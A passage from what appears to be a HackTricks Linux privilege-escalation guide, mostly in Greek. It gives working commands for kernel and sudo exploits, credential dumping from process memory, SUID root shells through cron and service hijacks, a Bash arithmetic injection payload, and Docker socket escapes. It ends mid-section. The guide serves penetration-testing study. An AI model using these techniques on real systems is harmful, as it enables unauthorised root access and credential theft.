Linux Privilege Escalation
Reading time: 64 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Πληροφορίες Συστήματος
Πληροφορίες OS
Ας ξεκινήσουμε συγκεντρώνοντας πληροφορίες για το OS που τρέχει
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Path
Εάν έχετε δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή PATH
, ενδέχεται να μπορείτε να hijack κάποιες βιβλιοθήκες ή binaries:
echo $PATH
Πληροφορίες Env
Υπάρχουν ενδιαφέρουσες πληροφορίες, passwords ή API keys στις μεταβλητές περιβάλλοντος;
(env || set) 2>/dev/null
Kernel exploits
Ελέγξτε την έκδοση του kernel και δείτε αν υπάρχει κάποιο exploit που μπορεί να χρησιμοποιηθεί για να escalate privileges
cat /proc/version
uname -a
searchsploit "Linux Kernel"
Μπορείτε να βρείτε μια καλή λίστα ευάλωτων kernel και μερικά ήδη compiled exploits εδώ: https://github.com/lucyoa/kernel-exploits και exploitdb sploits.
Άλλοι ιστότοποι όπου μπορείτε να βρείτε μερικά compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
Για να εξαγάγετε όλες τις ευάλωτες εκδόσεις kernel από αυτόν τον ιστότοπο μπορείτε να κάνετε:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
Εργαλεία που μπορούν να βοηθήσουν στην αναζήτηση για kernel exploits είναι:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (εκτέλεση στο IN victim, ελέγχει μόνο exploits για kernel 2.x)
Πάντα αναζήτησε την έκδοση του kernel στο Google, ίσως η έκδοση του kernel σου να αναφέρεται σε κάποιο kernel exploit και έτσι θα είσαι σίγουρος ότι αυτό το exploit είναι έγκυρο.
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Sudo version
Βασισμένο στις ευάλωτες εκδόσεις του sudo που εμφανίζονται στο:
searchsploit sudo
Μπορείτε να ελέγξετε αν η έκδοση του sudo είναι ευάλωτη χρησιμοποιώντας αυτό το grep.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
sudo < v1.8.28
Από @sickrov
sudo -u#-1 /bin/bash
Dmesg: Η επαλήθευση υπογραφής απέτυχε
Δείτε το smasher2 box of HTB για ένα παράδειγμα του πώς αυτό το vuln μπορεί να εκμεταλλευθεί.
dmesg 2>/dev/null | grep "signature"
Περαιτέρω αναγνώριση συστήματος
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
Καταγράψτε πιθανές άμυνες
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Docker Breakout
Αν βρίσκεστε μέσα σε ένα docker container μπορείτε να προσπαθήσετε να αποδράσετε από αυτό:
Δίσκοι
Ελέγξτε τι είναι mounted και unmounted, πού και γιατί. Αν κάτι είναι unmounted, μπορείτε να προσπαθήσετε να το mount και να ελέγξετε για ιδιωτικές πληροφορίες
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
Χρήσιμο λογισμικό
Απαρίθμηση χρήσιμων binaries
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
Επίσης, έλεγξε αν any compiler is installed. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσεις κάποιο kernel exploit, καθώς συνιστάται να το compile στο μηχάνημα όπου πρόκειται να το χρησιμοποιήσεις (ή σε ένα παρόμοιο).
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
Εγκατεστημένο Ευάλωτο Λογισμικό
Ελέγξτε την έκδοση των εγκατεστημένων πακέτων και υπηρεσιών. Ίσως υπάρχει κάποια παλιά έκδοση του Nagios (για παράδειγμα) που θα μπορούσε να αξιοποιηθεί για ανύψωση προνομίων…
Συνιστάται να ελέγξετε χειροκίνητα τις εκδόσεις του πιο ύποπτου εγκατεστημένου λογισμικού.
dpkg -l #Debian
rpm -qa #Centos
Εάν έχετε πρόσβαση SSH στο μηχάνημα, μπορείτε επίσης να χρησιμοποιήσετε openVAS για να ελέγξετε για παρωχημένο ή ευάλωτο λογισμικό εγκατεστημένο στο μηχάνημα.
[!NOTE] > Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που κατά κύριο λόγο θα είναι άχρηστες, γι' αυτό συνιστάται η χρήση εφαρμογών όπως η OpenVAS ή παρόμοιων που θα ελέγξουν αν κάποια εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits
Διεργασίες
Ρίξτε μια ματιά στις ποιες διεργασίες εκτελούνται και ελέγξτε αν κάποια διεργασία έχει περισσότερα δικαιώματα απ' όσα θα έπρεπε (ίσως ένα tomcat να εκτελείται από τον root?)
ps aux
ps -ef
top -n 1
Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect
parameter inside the command line of the process.
Επίσης έλεγξε τα προνόμιά σου πάνω στα binaries των διεργασιών, ίσως μπορείς να αντικαταστήσεις κάποιο.
Παρακολούθηση διεργασιών
Μπορείς να χρησιμοποιήσεις εργαλεία όπως pspy για να παρακολουθείς διεργασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσεις ευάλωτες διεργασίες που εκτελούνται συχνά ή όταν πληρούνται συγκεκριμένες προϋποθέσεις.
Μνήμη διεργασίας
Κάποιες υπηρεσίες ενός server αποθηκεύουν credentials in clear text inside the memory.
Κανονικά θα χρειαστείς root privileges για να διαβάσεις τη μνήμη διεργασιών που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είσαι ήδη root και θέλεις να ανακαλύψεις περισσότερα credentials.
Ωστόσο, θυμήσου ότι ως κανονικός χρήστης μπορείς να διαβάσεις τη μνήμη των διεργασιών που σου ανήκουν.
warning
Σημειώστε ότι σήμερα τα περισσότερα μηχανήματα δεν επιτρέπουν ptrace από προεπιλογή, πράγμα που σημαίνει ότι δεν μπορείτε να κάνετε dump άλλες διεργασίες που ανήκουν σε μη προνομιούχο χρήστη.
Το αρχείο /proc/sys/kernel/yama/ptrace_scope ελέγχει την προσβασιμότητα του ptrace:
- kernel.yama.ptrace_scope = 0: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked.
- kernel.yama.ptrace_scope = 1: only a parent process can be debugged.
- kernel.yama.ptrace_scope = 2: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
- kernel.yama.ptrace_scope = 3: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.
GDB
Αν έχεις πρόσβαση στη μνήμη μιας υπηρεσίας FTP (για παράδειγμα) μπορείς να πάρεις το Heap και να ψάξεις μέσα του για credentials.
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
GDB Script
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
Για ένα δοσμένο process ID, τα maps δείχνουν πώς η μνήμη έχει αντιστοιχιστεί εντός του εικονικού χώρου διευθύνσεων αυτής της διεργασίας· δείχνουν επίσης τα δικαιώματα κάθε χαρτογραφημένης περιοχής. Το ψευδο-αρχείο mem αποκαλύπτει την ίδια τη μνήμη της διεργασίας. Από το αρχείο maps γνωρίζουμε ποιες περιοχές μνήμης είναι αναγνώσιμες και τις offset τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να seek στο mem file και να dump όλες τις αναγνώσιμες περιοχές σε ένα αρχείο.
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem
παρέχει πρόσβαση στη φυσική μνήμη του συστήματος, όχι στην εικονική μνήμη. Ο εικονικός χώρος διευθύνσεων του πυρήνα μπορεί να προσπελαστεί χρησιμοποιώντας /dev/kmem.
Συνήθως, /dev/mem
μπορεί να διαβαστεί μόνο από τον root και την ομάδα kmem.
strings /dev/mem -n10 | grep -i PASS
ProcDump for linux
ProcDump είναι μια επανεξέλιξη για Linux του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Βρείτε το στο https://github.com/Sysinternals/ProcDump-for-Linux
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
Εργαλεία
Για να κάνετε dump τη μνήμη μιας διεργασίας μπορείτε να χρησιμοποιήσετε:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _Μπορείτε χειροκίνητα να αφαιρέσετε τις απαιτήσεις root και να κάνετε dump τη διεργασία που ανήκει σε εσάς
- Script A.5 από https://www.delaat.net/rp/2016-2017/p97/report.pdf (απαιτείται root)
Διαπιστευτήρια από τη μνήμη διεργασίας
Χειροκίνητο παράδειγμα
Αν διαπιστώσετε ότι η διεργασία authenticator εκτελείται:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
Μπορείτε να dump the process (δείτε τις προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους για να dump the memory ενός process) και να αναζητήσετε credentials μέσα στη memory:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
Το εργαλείο https://github.com/huntergregal/mimipenguin θα κλέψει διαπιστευτήρια σε απλό κείμενο από τη μνήμη και από κάποια καλά γνωστά αρχεία. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά.
Χαρακτηριστικό | Όνομα διεργασίας |
---|---|
GDM password (Kali Desktop, Debian Desktop) | gdm-password |
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
LightDM (Ubuntu Desktop) | lightdm |
VSFTPd (Active FTP Connections) | vsftpd |
Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
Αναζήτηση Regexes/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
Προγραμματισμένα/Cron jobs
Crontab UI (alseambusher) running as root – web-based scheduler privesc
Εάν ένα web “Crontab UI” panel (alseambusher/crontab-ui) τρέχει ως root και είναι δεσμευμένο μόνο στο loopback, μπορείτε να το προσεγγίσετε μέσω SSH local port-forwarding και να δημιουργήσετε μια privileged job για privesc.
Τυπική αλυσίδα
- Discover loopback-only port (e.g., 127.0.0.1:8000) and Basic-Auth realm via
ss -ntlp
/curl -v localhost:8000
- Find credentials in operational artifacts:
- Backups/scripts with
zip -P <password>
- systemd unit exposing
Environment="BASIC_AUTH_USER=..."
,Environment="BASIC_AUTH_PWD=..."
- Tunnel and login:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
- Δημιουργήστε μια εργασία με υψηλά προνόμια και εκτελέστε την αμέσως (δημιουργεί SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
- Χρησιμοποιήστε το:
/tmp/rootshell -p # root shell
Σκληραγώγηση
- Μην εκτελείτε το Crontab UI ως root· περιορίστε το με έναν αφιερωμένο χρήστη και ελάχιστα δικαιώματα
- Δεσμεύστε σε localhost και επιπλέον περιορίστε την πρόσβαση μέσω firewall/VPN· μην επαναχρησιμοποιείτε κωδικούς
- Αποφύγετε την ενσωμάτωση secrets σε unit files· χρησιμοποιήστε secret stores ή root-only EnvironmentFile
- Ενεργοποιήστε audit/logging για on-demand job executions
Ελέγξτε αν κάποια προγραμματισμένη εργασία είναι ευάλωτη. Ίσως μπορείτε να εκμεταλλευτείτε ένα script που εκτελείται από root (wildcard vuln; μπορείτε να τροποποιήσετε αρχεία που χρησιμοποιεί ο root; να χρησιμοποιήσετε symlinks; να δημιουργήσετε συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί ο root?).
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Cron path
Για παράδειγμα, μέσα στο /etc/crontab μπορείτε να βρείτε το PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(Σημειώστε πώς ο χρήστης "user" έχει δικαιώματα εγγραφής στο /home/user)
Αν μέσα σε αυτό το crontab ο χρήστης root προσπαθήσει να εκτελέσει κάποια εντολή ή script χωρίς να ορίσει το PATH. Για παράδειγμα: * * * * root overwrite.sh
Τότε, μπορείτε να αποκτήσετε ένα root shell χρησιμοποιώντας:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron που χρησιμοποιεί ένα script με wildcard (Wildcard Injection)
Αν ένα script που εκτελείται από root περιέχει “*” μέσα σε μια command, μπορείτε να το εκμεταλλευτείτε για να κάνετε απρόβλεπτα πράγματα (όπως privesc). Παράδειγμα:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
Αν το wildcard προηγείται μιας διαδρομής όπως /some/path/* , δεν είναι ευάλωτο (ακόμα και ./* δεν είναι).
Διάβασε την παρακάτω σελίδα για περισσότερα wildcard exploitation tricks:
Bash arithmetic expansion injection in cron log parsers
O Bash εκτελεί parameter expansion και command substitution πριν από την arithmetic evaluation σε ((...)), $((...)) και let. Αν ένας root cron/parser διαβάζει untrusted log fields και τα τροφοδοτεί σε arithmetic context, ένας attacker μπορεί να εισάγει ένα command substitution $(...) που εκτελείται ως root όταν τρέξει το cron.
-
Γιατί λειτουργεί: Στον Bash, οι expansions συμβαίνουν με την εξής σειρά: parameter/variable expansion, command substitution, arithmetic expansion, και μετά word splitting και pathname expansion. Έτσι μια τιμή όπως
$(/bin/bash -c 'id > /tmp/pwn')0
αντικαθίσταται πρώτα (εκτελώντας την εντολή), και το υπόλοιπο αριθμητικό0
χρησιμοποιείται για την arithmetic ώστε το script να συνεχίσει χωρίς σφάλματα. -
Τυπικό vulnerable pattern:
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count )) # or: let "n=$count"
done < /var/www/app/log/application.log
- Εκμετάλλευση: Γράψε attacker-controlled text στο parsed log έτσι ώστε το πεδίο που μοιάζει με αριθμό να περιέχει ένα command substitution και να τελειώνει με ένα ψηφίο. Βεβαιώσου ότι η εντολή σου δεν τυπώνει στο stdout (ή ανακατεύθυνέ το) ώστε το arithmetic να παραμένει έγκυρο.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
Cron script overwriting and symlink
Αν μπορείς να τροποποιήσεις ένα cron script που εκτελείται από root, μπορείς να αποκτήσεις shell πολύ εύκολα:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
Αν το script που εκτελείται από το root χρησιμοποιεί έναν κατάλογο στον οποίο έχετε πλήρη πρόσβαση, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και να δημιουργήσετε έναν symlink φάκελο προς κάποιον άλλο που σερβίρει ένα script που ελέγχετε
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Συχνά cron jobs
Μπορείτε να παρακολουθείτε τις διεργασίες για να εντοπίσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να το εκμεταλλευτείτε και να escalate privileges.
Για παράδειγμα, για να παρακολουθείτε κάθε 0.1s για 1 λεπτό, να ταξινομήσετε με βάση τις λιγότερο εκτελεσμένες εντολές και να διαγράψετε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
Μπορείτε επίσης να χρησιμοποιήσετε pspy (αυτό θα παρακολουθεί και θα καταγράφει κάθε process που ξεκινά).
Αόρατα cron jobs
Είναι δυνατό να δημιουργηθεί ένα cronjob putting a carriage return after a comment (χωρίς χαρακτήρα newline), και το cron job θα λειτουργήσει. Παράδειγμα (παρατηρήστε τον χαρακτήρα carriage return):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
Υπηρεσίες
Εγγράψιμα αρχεία .service
Ελέγξτε αν μπορείτε να γράψετε κάποιο αρχείο .service
, αν μπορείτε, θα μπορούσατε να το τροποποιήσετε ώστε να εκτελεί το backdoor όταν η υπηρεσία εκκινείται, επανεκκινείται ή σταματά (ίσως χρειαστεί να περιμένετε μέχρι να γίνει επανεκκίνηση της μηχανής).
Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο αρχείο .service με ExecStart=/tmp/script.sh
Εγγράψιμα service binaries
Να έχετε υπόψη ότι αν έχετε δικαιώματα εγγραφής σε binaries που εκτελούνται από υπηρεσίες, μπορείτε να τα αλλάξετε για να τοποθετήσετε backdoors, έτσι ώστε όταν οι υπηρεσίες επανεκτελεστούν τα backdoors να εκτελεστούν.
systemd PATH - Σχετικές διαδρομές
Μπορείτε να δείτε το PATH που χρησιμοποιεί το systemd με:
systemctl show-environment
Εάν διαπιστώσετε ότι μπορείτε να γράψετε σε οποιονδήποτε από τους φακέλους της διαδρομής, ενδέχεται να μπορείτε να escalate privileges. Πρέπει να αναζητήσετε σχετικές διαδρομές που χρησιμοποιούνται σε αρχεία ρυθμίσεων υπηρεσιών όπως:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
Στη συνέχεια, δημιουργήστε ένα εκτελέσιμο με το ίδιο όνομα με το binary της σχετικής διαδρομής μέσα στον φάκελο PATH του systemd στον οποίο μπορείτε να γράψετε, και όταν η υπηρεσία ζητηθεί να εκτελέσει την ευάλωτη ενέργεια (Start, Stop, Reload), το backdoor σας θα εκτελεστεί (οι μη προνομιούχοι χρήστες συνήθως δεν μπορούν να εκκινήσουν/σταματήσουν υπηρεσίες αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε sudo -l
).
Μάθετε περισσότερα για τις υπηρεσίες με man systemd.service
.
Χρονοδιακόπτες
Χρονοδιακόπτες είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε **.timer**
και που ελέγχουν αρχεία ή γεγονότα **.service**
. Οι Χρονοδιακόπτες μπορούν να χρησιμοποιηθούν ως εναλλακτική του cron, καθώς διαθέτουν ενσωματωμένη υποστήριξη για γεγονότα ημερολογιακού χρόνου και γεγονότα μονοτονικού χρόνου και μπορούν να εκτελούνται ασύγχρονα.
Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με:
systemctl list-timers --all
Timers με δυνατότητα εγγραφής
Αν μπορείτε να τροποποιήσετε έναν timer, μπορείτε να τον κάνετε να εκτελέσει κάποια υπάρχοντα systemd.unit (όπως ένα .service
ή ένα .target
)
Unit=backdoor.service
Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι η Unit:
The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.
Επομένως, για να καταχραστείτε αυτή την άδεια θα χρειαστεί να:
- Βρείτε κάποια systemd unit (όπως ένα
.service
) που εκτελεί ένα writable binary - Βρείτε κάποια systemd unit που εκτελεί ένα relative path και έχετε writable privileges πάνω στο systemd PATH (για να μιμηθείτε αυτό το executable)
Μάθετε περισσότερα σχετικά με τους timers με man systemd.timer
.
Ενεργοποίηση Timer
Για να ενεργοποιήσετε ένα timer χρειάζεστε δικαιώματα root και να εκτελέσετε:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
Sockets
Unix Domain Sockets (UDS) enable process communication on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through .socket
files.
Sockets can be configured using .socket
files.
Learn more about sockets with man systemd.socket
. Inside this file, several interesting parameters can be configured:
ListenStream
,ListenDatagram
,ListenSequentialPacket
,ListenFIFO
,ListenSpecial
,ListenNetlink
,ListenMessageQueue
,ListenUSBFunction
: Αυτές οι επιλογές διαφέρουν αλλά συνοπτικά χρησιμοποιούνται για να υποδείξουν πού θα ακούει το socket (τη διαδρομή του AF_UNIX socket αρχείου, το IPv4/6 και/ή τον αριθμό θύρας για ακρόαση, κ.λπ.)Accept
: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable forAccept=no
.ExecStartPre
,ExecStartPost
: Δέχονται μία ή περισσότερες γραμμές εντολών, οι οποίες είναι εκτελούνται πριν ή μετά τα listening sockets/FIFOs να δημιουργηθούν και να δεσμευτούν, αντίστοιχα. Το πρώτο token της γραμμής εντολής πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διεργασία.ExecStopPre
,ExecStopPost
: Πρόσθετες εντολές που εκτελούνται πριν ή μετά τα listening sockets/FIFOs να κλείσουν και να αφαιρεθούν, αντίστοιχα.Service
: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.
Writable .socket files
If you find a writable .socket
file you can add at the beginning of the [Socket]
section something like: ExecStartPre=/home/kali/sys/backdoor
and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted.
Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη διαμόρφωση του socket αρχείου αλλιώς το backdoor δεν θα εκτελεστεί
Writable sockets
If you identify any writable socket (now we are talking about Unix Sockets and not about the config .socket
files), then you can communicate with that socket and maybe exploit a vulnerability.
Καταγραφή Unix Sockets
netstat -a -p --unix
Ακατέργαστη σύνδεση
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Παράδειγμα εκμετάλλευσης:
HTTP sockets
Σημειώστε ότι μπορεί να υπάρχουν κάποια sockets listening for HTTP requests (δεν μιλάω για .socket files αλλά για αρχεία που λειτουργούν ως unix sockets). Μπορείτε να το ελέγξετε με:
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
If the socket απαντά σε ένα HTTP αίτημα, τότε μπορείτε να επικοινωνήσετε μαζί του και ίσως να εκμεταλλευτείτε κάποια ευπάθεια.
Docker socket με δυνατότητα εγγραφής
Το Docker socket, που συχνά βρίσκεται στο /var/run/docker.sock
, είναι ένα κρίσιμο αρχείο που πρέπει να προστατεύεται. Από προεπιλογή, είναι εγγράψιμο από τον χρήστη root
και τα μέλη της ομάδας docker
. Η κατοχή πρόσβασης εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε privilege escalation. Εδώ είναι μια ανάλυση του πώς αυτό μπορεί να γίνει και εναλλακτικές μέθοδοι εάν το Docker CLI δεν είναι διαθέσιμο.
Privilege Escalation με Docker CLI
Εάν έχετε πρόσβαση εγγραφής στο Docker socket, μπορείτε να escalate privileges χρησιμοποιώντας τις ακόλουθες εντολές:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Αυτές οι εντολές σας επιτρέπουν να εκτελέσετε ένα container με πρόσβαση επιπέδου root στο file system του host.
Using Docker API Directly
Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί ακόμα να χειριστεί μέσω του Docker API και εντολών curl
.
- List Docker Images: Ανακτήστε τη λίστα των διαθέσιμων images.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- Create a Container: Αποστείλετε ένα αίτημα για να δημιουργήσετε ένα container που κάνει mount τον root κατάλογο του host συστήματος.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
Start the newly created container:
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- Attach to the Container: Χρησιμοποιήστε το
socat
για να δημιουργήσετε μια σύνδεση με το container, επιτρέποντας εκτέλεση εντολών μέσα σε αυτό.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
Μετά τη ρύθμιση της σύνδεσης socat
